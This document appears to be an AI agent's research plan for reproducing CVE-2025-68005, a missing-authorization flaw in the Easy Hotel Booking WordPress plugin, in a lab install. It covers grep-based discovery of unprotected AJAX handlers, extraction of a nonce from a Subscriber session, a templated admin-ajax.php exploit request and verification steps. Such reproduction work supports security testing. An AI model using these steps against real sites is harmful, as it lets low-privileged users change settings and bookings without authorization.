Easy Hotel Booking <= 1.8.4 - Missing Authorization

This research plan targets CVE-2025-68005, a Missing Authorization vulnerability in the Easy Hotel Booking WordPress plugin. Since source files were not provided, this plan focuses on discovery and targeted exploitation of common AJAX patterns in this specific plugin.

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1. Vulnerability Summary

The "Easy Hotel Booking" plugin (slug: easy-hotel) fails to implement capability checks on certain AJAX handlers registered via the wp_ajax_ hook. While WordPress uses wp_ajax_nopriv_ for unauthenticated users and wp_ajax_ for authenticated users, the latter requires an explicit current_user_can() check to prevent low-privileged users (like Subscribers) from executing administrative functions. In version 1.8.4 and below, a management function lacks this check, allowing a Subscriber to modify plugin data or settings.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Authenticated Level: Subscriber or higher.
• Vulnerable Action: To be identified via grep (likely related to settings or booking management).
• Parameter: Usually action, nonce, and data payload (e.g., settings[] or booking_id).
• Preconditions: The attacker must have a valid Subscriber session.

3. Code Flow (Discovery Phase)

The agent must first identify the specific vulnerable function by tracing the registration:

1. Entry Point Identification:
   Find all AJAX handlers registered for authenticated users:

   grep -rn "add_action\s*(\s*['\"]wp_ajax_" wp-content/plugins/easy-hotel/
   

2. Authorization Audit:
   For each identified handler function, check for the absence of current_user_can:

   # Example: If a handler is 'easy_hotel_save_settings'
   grep -rn "function easy_hotel_save_settings" wp-content/plugins/easy-hotel/ -A 15
   

3. Sink Identification:
   Look for functions that use update_option, wp_delete_post, or $wpdb->update without authorization.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its admin interface. Since Subscribers can access wp-admin/profile.php and other basic admin pages, the plugin might enqueue its scripts there or on a custom dashboard if it allows subscriber-level "bookings" views.

1. Identify the Script/Nonce:
   Search for wp_localize_script in the plugin:

   grep -rn "wp_localize_script" wp-content/plugins/easy-hotel/
   

   Look for a variable like easy_hotel_obj or ehb_params.

2. Identify the Nonce Action:
   Find the action string used to create the nonce:

   grep -rn "wp_create_nonce" wp-content/plugins/easy-hotel/
   

3. Extraction Procedure:

   • Step A: Create a Subscriber user and log in using browser_navigate.
   • Step B: Navigate to the WordPress dashboard (/wp-admin/).
   • Step C: Execute browser_eval to extract the nonce:

     // Example (replace based on grep results)
     window.easy_hotel_ajax?.nonce || window.ehb_settings?.security
     

5. Exploitation Strategy

Once the vulnerable action (e.g., easy_hotel_update_settings) and the nonce are identified:

1. Craft the Request:
   Prepare a POST request to admin-ajax.php.

2. Payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   Cookie: [Subscriber Cookies]
   
   action=[VULNERABLE_ACTION]&nonce=[EXTRACTED_NONCE]&setting_key=users_can_register&setting_value=1
   

   Note: If the vulnerability is in booking status updates, the payload might be action=eh_update_booking_status&id=1&status=cancelled.

3. Execution Tool: Use http_request with the Subscriber session cookies.

6. Test Data Setup

1. Install Plugin: Ensure easy-hotel version 1.8.4 is active.
2. Create Attacker:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

3. Create Plugin Data:
   If the target is booking management, create a dummy booking first:

   # Use WP-CLI to create a custom post type record if Easy Hotel uses CPT
   wp post create --post_type=hotel_booking --post_title="Test Booking" --post_status=publish
   

7. Expected Results

• HTTP Response: A successful 200 OK or {"success":true} JSON response.
• Side Effect: The targeted data (setting, booking status, or user meta) is modified despite the request coming from a Subscriber.

8. Verification Steps

1. Verify via WP-CLI:
   If the exploit targeted a plugin option:

   wp option get [modified_option_name]
   

   If it targeted a booking post:

   wp post get [ID] --field=post_status
   

2. Check Capability:
   Confirm that the user indeed has no administrative capabilities:

   wp user cap list attacker
   

9. Alternative Approaches

If no direct admin-ajax vulnerability is found, search for REST API endpoints:

grep -rn "register_rest_route" wp-content/plugins/easy-hotel/

Check if the permission_callback is set to __return_true or missing, allowing any authenticated user to hit the endpoint. The exploitation flow would then switch to a REST API POST request using the wp_rest nonce.